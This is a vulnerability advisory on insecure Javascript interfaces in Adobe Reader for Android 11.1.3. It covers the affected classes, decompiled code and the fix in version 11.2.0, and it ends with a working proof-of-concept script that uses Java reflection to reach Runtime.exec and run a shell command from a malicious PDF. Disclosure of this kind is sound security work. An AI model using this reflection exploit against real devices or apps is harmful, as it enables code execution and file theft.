Adobe Reader for Android exposes insecure Javascript interfaces

Abstract

Adobe Reader for Android exposes several insecure Javascript interfaces. This issue can be exploited by opening a malicious PDF in Adobe Reader. Exploiting this issue allows for the execution of arbitrary Java code, which can result in a compromise of the documents stored in Reader and files stored on SD card.

Tested versions

This issue was successfully verified on Adobe Reader for Android version 11.1.3.

Fix

Adobe released version 11.2.0 of Adobe Reader that add @JavascriptInterface annotations to public methods that should be exposed in the Javascript interfaces. In addition, the app now targets API Level 17 and contains a static method (shouldInitializeJavaScript()) that is used to check the device's Android version.

Figure 1: Adobe Reader for Android 11.2.0 release notes

Introduction

Adobe Reader for Android allows users to work with PDF documents on an Android tablet or phone. According to Google Play, the app is installed on 100 million to 500 million devices.

The following classes expose one or more Javascript interfaces:

ARJavaScript
ARCloudPrintActivity
ARCreatePDFWebView

The app targets API Level 10, which renders the exposed Javascript interfaces vulnerable to code execution - provided that an attacker manages to run malicious Javascript code within Adobe Reader.

PDF Javascript APIs

It appears that Adobe Reader for Mobile supports a subset of the Javascript for Acrobat APIs. For some reason the exposed Javscript objects are prefixed with an underscore character.

public class ARJavaScript
{
[...]

	public ARJavaScript(ARViewerActivity paramARViewerActivity)
	{
[...]
		this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "**_adobereader**");
		this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "**_app**");
		this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "**_doc**");
		this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "**_escriptString**");
		this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "**_event**");
		this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "**_field**");
		this.mWebView.setWebViewClient(new ARJavaScript.1(this));
		this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
	}

An attacker can create a specially crafted PDF file containing Javascript that runs when the target user views (or interacts with) this PDF file. Using any of the Javascript objects listed above provides the attacker access to the public Reflection APIs inherited from Object. These APIs can be abused to run arbitrary Java code.

Proof of concept

The following proof of concept will create a text file in the app sandbox.

function execute(bridge, cmd) {
	return bridge.getClass().forName('java.lang.Runtime')
		.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}

if(window._app) {
	try {
		var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
		execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
		window._app.alert(path + ' created', 3);
	} catch(e) {
		window._app.alert(e, 0);
	}
}